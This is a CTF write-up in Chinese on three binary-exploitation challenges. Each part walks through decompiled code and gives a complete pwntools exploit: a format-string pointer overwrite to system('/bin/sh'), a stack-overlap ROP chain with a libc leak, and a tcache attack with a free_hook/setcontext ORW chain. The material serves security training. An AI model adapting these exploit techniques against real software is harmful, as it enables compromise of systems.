目录
shortcut
这个题表面上是个堆题,实际上跟堆关系不大,是个格式化字符漏洞的题。
主程序是菜单有4个功能:add,free,show,run
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v3 = menu();
if ( v3 != 2 )
break;
list();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
add(); // formatstr
}
if ( v3 == 3 )
{
delete(); // 可以越界
}
else
{
if ( v3 != 4 )
LABEL_13:
die();
run();
}
}
}
add函数这里有个漏洞,由于读入是用的printf,所以很容易用%nc达到写溢出
unsigned __int64 add()
{
int v1; // [rsp+8h] [rbp-38h] BYREF
int i; // [rsp+Ch] [rbp-34h]
char format[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v4; // [rsp+38h] [rbp-8h]
v4 = __readfsqword(0x28u);
for ( i = 0; ; ++i )
{
if ( i > 4 )
{
puts("Too many shortcut!");
die();
}
if ( !*((_QWORD *)&sc + i) )
break;
}
*((_QWORD *)&sc + i) = malloc(0x28uLL);
puts("the name of new shortcut:");
read_safely(format, 0x1Eu);
sprintf(*((char **)&sc + i), format); // 少参数,printf漏洞
puts("choose an operation:\n1. health code\n2. express\n");
_isoc99_scanf("%d", &v1);
if ( v1 == 1 )
{
*(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = health_code;
}
else
{
if ( v1 != 2 )
{
puts("Wrong choice!");
die();
}
*(_QWORD *)(*((_QWORD *)&sc + i) + 32LL) = express;
}
return __readfsqword(0x28u) ^ v4;
}
run函数。chunk尾部有一个指针,run的时候将利用这个指针显示。
unsigned __int64 run()
{
int i; // [rsp+Ch] [rbp-34h]
char s1[40]; // [rsp+10h] [rbp-30h] BYREF
unsigned __int64 v3; // [rsp+38h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("Tell me the name of shortcut:");
read_safely(s1, 0x1Eu);
for ( i = 0; i <= 4; ++i )
{
if ( *((_QWORD *)&sc + i) && !strncmp(s1, *((const char **)&sc + i), 0x1DuLL) )
{
(*(void (__fastcall **)(_QWORD))(*((_QWORD *)&sc + i) + 32LL))(*((_QWORD *)&sc + i));// 执行+32处的指针
return __readfsqword(0x28u) ^ v3;
}
}
puts("No match!");
return __readfsqword(0x28u) ^ v3;
}
另外程序本身将system引入,可以执行plt里的system
int treasure()
{
return system("treasure");
}
由于有一个比较容易的溢出这里就好办了。
1,建一个块,让输入32个字符让它与指针直连,然后list的时候尾部带出指针,得到程序加载地址。
2,再建第2个块,删1再重建,通过写溢出将1的数据溢出到2的指针,覆盖为system,2的数据改为system
3, run(2)得到shell
from pwn import *
p = process('./shortcut')
libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./shortcut')
context(arch = 'amd64', log_level='debug')
menu = b"Please tell me your choice:\n"
def add(msg):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"the name of new shortcut:\n", msg)
p.sendlineafter(b"choose an operation:\n1. health code\n2. express\n\n", b'1')
def show():
p.sendlineafter(menu, b'2')
def run(msg):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"Tell me the name of shortcut:\n", msg)
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"Tell me the index of shortcut:\n", str(idx).encode())
add(b'%32c')
show()
p.recv(0x29)
pwn_base = u64(p.recv(6).ljust(8,b'\x00')) - 0xb9c
elf.address = pwn_base
print('pwn:', hex(pwn_base))
system = pwn_base+ 0x988 #elf.plt('system')
add(b'aaa')
free(0)
add(b'%48c'+b'/bin/sh;'+b'%24c'+p64(system)) #覆盖第2个chunk内容为/bin/sh;指针为system
run(b'/bin/sh;'.ljust(0x1d,b' '))
p.interactive()
lucky_guy
这是一个溢出写ROP的题,题目没有开PIE,显然是可以利用题目里的地址进行ROP的题。
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
void *v3; // rsp
_BYTE v5[4]; // [rsp+0h] [rbp-1B0h] BYREF
int v6; // [rsp+4h] [rbp-1ACh] BYREF
int v7; // [rsp+8h] [rbp-1A8h] BYREF
unsigned int seed; // [rsp+Ch] [rbp-1A4h]
int v9; // [rsp+10h] [rbp-1A0h]
int v10; // [rsp+14h] [rbp-19Ch]
_BYTE *v11; // [rsp+18h] [rbp-198h]
char v12[392]; // [rsp+20h] [rbp-190h] BYREF
unsigned __int64 v13; // [rsp+1A8h] [rbp-8h]
v13 = __readfsqword(0x28u);
v9 = 10;
sub_400827();
for ( seed = 0; (int)seed < v9; ++seed )
{
srand(seed); // seed已知,rand可以预测
v10 = rand() % 100;
puts("your number");
__isoc99_scanf("%d", &v7);
if ( v10 != v7 )
{
puts("fail");
exit(0);
}
}
puts("Congratulations you passed the first level!");
puts("I believe you are a lucky guy.");
puts("So, give me a size: ");
__isoc99_scanf("%d", &v6);
v3 = alloca(16 * ((v6 + 16 + 30LL) / 0x10uLL));// 移动rsp
v11 = v5;
sub_4008B9(v5, v6, v12);
return 0LL;
}
main里先是让输入10个数,与随机数相同可进入下一步。由于seed用的数已知,所以rand是可预知的,可以写个小程序将10个数输出
#include <stdio.h>
#include <stdlib.h>
int main(){
for ( int seed = 0; (int)seed < 10; ++seed ){ srand(seed); printf("%d\n", rand() % 100); }
}
10个数字通过后,会让输入一个数字,然后通过它进行一个alloca,这个看上去像函数的东西实际上不是函数,只是把运算结果赋值给rsp
.text:0000000000400A68 B8 10 00 00 00 mov eax, 10h
.text:0000000000400A6D 48 83 E8 01 sub rax, 1
.text:0000000000400A71 48 01 D0 add rax, rdx
.text:0000000000400A74 BE 10 00 00 00 mov esi, 10h
.text:0000000000400A79 BA 00 00 00 00 mov edx, 0
.text:0000000000400A7E 48 F7 F6 div rsi
.text:0000000000400A81 48 6B C0 10 imul rax, 10h
.text:0000000000400A85 48 29 C4 sub rsp, rax
后面的函数会进行两次输入,
unsigned __int64 __fastcall sub_4008B9(void *a1, int a2, void *a3)
{
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts("Your message: ");
read(0, a1, a2);
puts("Leave your name: ");
read(0, a3, 0x30uLL);
return __readfsqword(0x28u) ^ v5;
}
第一次写入v5这个与rsp关联,第二次是写v12这是个固定位置
所以这个题的漏洞就在于当输入负数,使rsp下移后,sub_4008B9的栈会下移跟主函数栈空间重叠。sub_4008B9的返回地址恰巧落在v12指针处时,就可以通过写入v12改写sub_4008B9的返回地址,在这里写ROP链。
具体操作:
from pwn import *
p = process('./lucky_guy')
elf = ELF('./lucky_guy')
libc_elf = ELF('/home/shi/libc/libc6_2.31/lib/x86_64-linux-gnu/libc-2.31.so')
context(arch='amd64', log_level='debug')
pop_rdi = 0x0000000000400b43 #: pop rdi ; ret
a = [83,83,90,46,1,75,41,77,96,15]
#第一次 puts(got_puts),start 获取libc
for i in a:
p.sendlineafter(b"your number", str(i).encode())
payload = flat(0, pop_rdi+1, pop_rdi, elf.got['puts'], elf.plt['puts'], 0x400740) #start
p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
p.sendafter(b"Leave your name: \n", payload)
libc_base = u64(p.recvuntil(b'\x7f').ljust(8, b'\x00')) - libc_elf.sym['puts']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
#第二次 system(/bin/sh)
for i in a:
p.sendlineafter(b"your number", str(i).encode())
payload = flat(0, pop_rdi+1, pop_rdi, next(libc_elf.search(b'/bin/sh')), libc_elf.sym['system'], 0x400740) #start
p.sendlineafter(b"So, give me a size: ", str(-0x50).encode()) #
p.sendafter(b"Leave your name: \n", payload)
p.interactive()
这里由于题目没有给出libc,所以第一步执行得到一个puts的地址后,需要按尾3位确定libc版本,下载相应libc或者用偏移计算system和/bin/sh的地址,然后再进行下一步。
babynote
这是一个高版本(libc-2.31不太高)libc下seccomp禁用execve功能的ORW题。
漏洞:当对一个加密过的块进行show时,对数据起点标识“:”直接搜索,当输入的key里含“:”引起的写数据溢出。
先分别看下各个函数
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; // [rsp+Ch] [rbp-4h]
sub_1369(a1, a2, a3);
sub_152F();
sub_1432();
while ( 1 )
{
menu();
v4 = get_int();
if ( v4 == 5 )
break;
if ( v4 <= 5 && v4 > 0 )
{
switch ( v4 )
{
case 4:
m4encrypt();
break;
case 3:
m3free();
break;
case 1:
m1add();
break;
default:
m2show();
break;
}
}
else
{
printf("wrong choice");
}
}
return 5LL;
}
main里有4个功能模块:add,show,free,enc
int m1add()
{
__int64 v0; // rax
int i; // [rsp+8h] [rbp-8h]
int v3; // [rsp+Ch] [rbp-4h]
for ( i = 0; i < dword_5010 && qword_5060[i]; ++i )
;
LODWORD(v0) = dword_5010;
if ( i < dword_5010 )
{
printf("size: ");
v3 = get_int();
if ( v3 > dword_5014 || v3 <= 0 )
{
printf("wrong note size");
exit(0);
}
qword_5060[i] = malloc(v3);
v0 = qword_5060[i];
if ( v0 )
{
printf("content: ");
sub_15A9(qword_5060[i], v3, 10);
LODWORD(v0) = puts("done");
}
}
return v0;
}
add限制最大f8,指针区没有问题,read数据没有溢出,而且尾部加\0非常安全
unsigned __int64 m2show()
{
int i; // [rsp+0h] [rbp-40h]
int v2; // [rsp+4h] [rbp-3Ch]
int v3; // [rsp+8h] [rbp-38h]
unsigned int n; // [rsp+Ch] [rbp-34h]
char *n_4; // [rsp+10h] [rbp-30h]
void *dest; // [rsp+18h] [rbp-28h]
char buf[24]; // [rsp+20h] [rbp-20h] BYREF
unsigned __int64 v8; // [rsp+38h] [rbp-8h]
v8 = __readfsqword(0x28u);
printf("index: ");
v3 = get_int();
if ( v3 < 0 || v3 >= dword_5010 )
{
puts("wrong note index");
exit(0);
}
if ( qword_5060[v3] )
{
if ( dword_50E0[v3] == 1 )
{
v2 = 0;
for ( i = 0; i <= 2; ++i )
{
printf("encrypt key: ");
read(0, buf, 0xEuLL);
if ( !memcmp(buf, (const void *)qword_5060[v3], 0xEuLL) )
{
v2 = 1;
break;
}
puts("wrong encrypt key");
}
if ( !v2 )
{
puts("Please contact administrator to reset password");
exit(0);
}
n_4 = strchr((const char *)qword_5060[v3], 58);
n = strlen(n_4);
dest = malloc(dword_5014);
memcpy(dest, n_4, n);
printf("content %s\n", (const char *)dest);
free(dest);
}
else
{
printf("content: %s\n", (const char *)qword_5060[v3]);
}
}
return __readfsqword(0x28u) ^ v8;
}
show的时候对enc过的先判断key是否正确,再找到“:”(数据起点标记)然后建个f8的块写入数据。这里如果在key里包含“:”则得到的数据长度就会超过f8从而写溢出。
_DWORD *m3free()
{
_DWORD *result; // rax
int v1; // [rsp+Ch] [rbp-4h]
printf("index: ");
v1 = get_int();
if ( v1 < 0 || v1 >= dword_5010 )
{
puts("wrong note index");
exit(0);
}
result = (_DWORD *)qword_5060[v1];
if ( result )
{
free((void *)qword_5060[v1]);
qword_5060[v1] = 0LL;
result = dword_50E0;
dword_50E0[v1] = 0;
}
return result;
}
free函数里free后清理指针和数据块尺寸,没有UAF,也没有溢出。
unsigned __int64 m4encrypt()
{
size_t v0; // rax
int v1; // eax
size_t v2; // rax
int v4; // [rsp+Ch] [rbp-54h]
char *v5; // [rsp+20h] [rbp-40h]
char v6[8]; // [rsp+40h] [rbp-20h] BYREF
__int64 v7; // [rsp+48h] [rbp-18h]
unsigned __int64 v8; // [rsp+58h] [rbp-8h]
v8 = __readfsqword(0x28u);
v7 = (unsigned int)time(0LL);
printf("index: ");
v4 = get_int();
if ( v4 < 0 || v4 >= dword_5010 )
{
puts("wrong note index");
exit(0);
}
if ( qword_5060[v4] )
{
if ( dword_50E0[v4] == 1 )
{
puts("the note has been encrypted");
}
else
{
printf("encrypt key: ");
read(0, v6, 0x10uLL);
v0 = strlen((const char *)qword_5060[v4]);
v5 = (char *)malloc(v0 + 21);
srand(v7);
v1 = rand();
*(_DWORD *)v5 = v1 + (v1 == -1);
memcpy(v5 + 4, v6, 0xAuLL);
v5[14] = 58;
v2 = strlen((const char *)qword_5060[v4]);
memcpy(v5 + 15, (const void *)qword_5060[v4], v2);
free((void *)qword_5060[v4]);
qword_5060[v4] = v5;
dword_50E0[v4] = 1;
puts("done");
}
}
return __readfsqword(0x28u) ^ v8;
}
enc函数先读入key然后随机生成一个数字作为id,然后按原数据长度+21申请新块将数据复制进去,然后把原块free。
这里有个漏洞:当读入key时v6定义的是8字节,后边是v7,后边用v7来初始化rand种子,而读入v6时可以读入16字节。所以可以用key覆盖v7从而控制种子预测生成的随机数。
加密chunk的结构:id:4 key:10 数据标志符chr(58) data:n
由于在key里可以写入标志,所以溢出最大可以是10字节。当溢出覆盖下个chunk的头后字符串没有结束\0就可以输入下个chunk的fd从而泄露heap和libc
由于有种种限制,所以要先规划一个行当的chunk布局
思路:
- 建第1个F8,然后加密:释放第1个f8使用120
- 通过设置key里:的位置便show时写入到2的数据溢出,覆盖3的头(3提前释放到tcache)得到堆地址
- 先清理相应块,然后再利用同样方法,先将5释放到unsort,4是最后一个tcache里的F8 通过4show里覆盖5的头得到unsort指针,得到libc
- 同理通过6覆盖7的头,修改7的size使其实包含8利用重叠块进行tcache Attack从而达到任意地址写。
- 由于有seccomp所以这里作ORW
- 先控制tcache+0x90将0x100,0xf0两个指针改为 free_hook和free_hook+0xf8将来写连续的数据(理论上讲这两个块是有重叠的,第2个块没有头,从而两个块写入的数据是连续的)
- 原理比较复杂,内容是从原来作过的题上复制的。
通过free_hook写ORW,free_hook内容
- gadget_addr:
- fake_frame_addr: free_hook+0x10
- frame前一半0x20
- frame中间插入setcontext+61
- frame后部0x28起填充到0xf8
- 文件名
- rop_ORW
最后翻译free_hook这个块
from pwn import *
local = 1
if local == 1:
p = process('./babynote')
libc_elf = ELF('/lib/x86_64-linux-gnu/libc.so.6') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
else:
p = remote('node4.buuoj.cn', 26429)
libc_elf = ELF('./libc.so') #(Ubuntu GLIBC 2.31-0ubuntu9.7) stable release version 2.31.
elf = ELF('./babynote')
context.arch = 'amd64'
#context.log_level = 'debug'
menu = b'>> '
def add(size, msg=b'A'):
p.sendlineafter(menu, b'1')
p.sendlineafter(b"size: ", str(size).encode())
p.sendlineafter(b"content: ", msg)
def show(idx, key):
p.sendlineafter(menu, b'2')
p.sendlineafter(b"index: ", str(idx).encode())
p.sendafter(b"encrypt key: ", key)
def free(idx):
p.sendlineafter(menu, b'3')
p.sendlineafter(b"index: ", str(idx).encode())
def enc(idx, key):
p.sendlineafter(menu, b'4')
p.sendlineafter(b"index: ", str(idx).encode())
p.sendafter(b"encrypt key: ", key)
#f8,118,f8*4,18*3,f8*6
add(0xf8, b'A'*0xf7)
enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671
# 1 2 7 10 15
for i in [0xf8,0xf8,0xf8,0xf8,0xf8, 0xf8, 0x18, 0x18, 0x18, 0xf8,0xf8,0xf8,0xf8,0xf8,0xe0]:
add(i)
for i in [4,3,2]:
free(i)
show(0, p32(2046264671)+b'AA:BBBBB00')
p.recv(0x108)
heap_base = u64(p.recv(6)+ b'\x00\x00') - 0x6c0
print('heap:', hex(heap_base))
free(0)
free(1)
add(0xf8, b'A'*0xf7)
enc(0, b'AA:BBBBB'+ b'00'+b'\x00'*6) #2046264671
add(0xf8) #1
add(0xf8) #2
add(0xf8) #3
add(0xf8) #4
for i in [10,11,12,13,14,6,4,5]: #tcache 4->6->... 5:unsort
free(i)
show(0, p32(2046264671)+b'AA:BBBBB00')
p.recv(0x108)
libc_base = u64(p.recv(6)+ b'\x00\x00') - 0x60 - 0x10 - libc_elf.sym['__malloc_hook']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
add(0xf8) #4
free_hook = libc_elf.sym['__free_hook']
_environ = libc_elf.sym['_environ']
setcontext = libc_elf.sym['setcontext']
syscall = next(libc_elf.search(asm("syscall; ret")))
pop_rdi = next(libc_elf.search(asm("pop rdi; ret")))
pop_rsi = next(libc_elf.search(asm("pop rsi; ret")))
pop_rdx_r12 = next(libc_elf.search(asm("pop rdx; pop r12; ret")))
pop_rax = next(libc_elf.search(asm("pop rax; ret")))
jmp_rsp = next(libc_elf.search(asm("jmp rsp")))
#gadget
#0x00000000001518b0 : mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
gadget_addr= libc_base + 0x00000000001518b0
free(0)
free(1)
add(0xf8, b'A'*0xf7)
enc(0, b'AABBBBBB'+ b'0:'+b'\x00'*6) #872146168
add(0xf8) #1
show(0, p32(872146168) + b'AABBBBBB'+ b'0:')
for i in [9,8,7]: #7[8]
free(i)
add(0x38, flat(0,0,0,0x21, heap_base+0xf0)) #5
free(15)
context.log_level = 'debug'
add(0x18, b'A')
add(0x18, flat(0, free_hook+0xf8, free_hook)[:-1])
#orw
fake_frame_addr = free_hook + 0x10
frame = SigreturnFrame()
frame.rax = 0
frame.rdi = fake_frame_addr + 0xF8
frame.rsp = fake_frame_addr + 0xF8 + 0x10
frame.rip = pop_rdi + 1 # : ret
rop_data = [
libc_elf.sym['open'],
pop_rdx_r12,0x100,0,pop_rdi,3,pop_rsi,fake_frame_addr + 0x200,libc_elf.sym['read'],
pop_rdi,fake_frame_addr + 0x200,libc_elf.sym['puts']
]
frame_data = flat(frame).ljust(0xf8, b'\x00')
payload = flat(gadget_addr,fake_frame_addr,frame_data[:0x20],setcontext+61,frame_data[0x28:],b'flag\x00\x00\x00\x00',0)+flat(rop_data)
print('len(payload)', hex(len(payload[0xf8:])))
add(0xf8, payload[:0xf7]) #8
add(0xe0, payload[0xf8:]) #9
free(8)
p.recv()
p.interactive()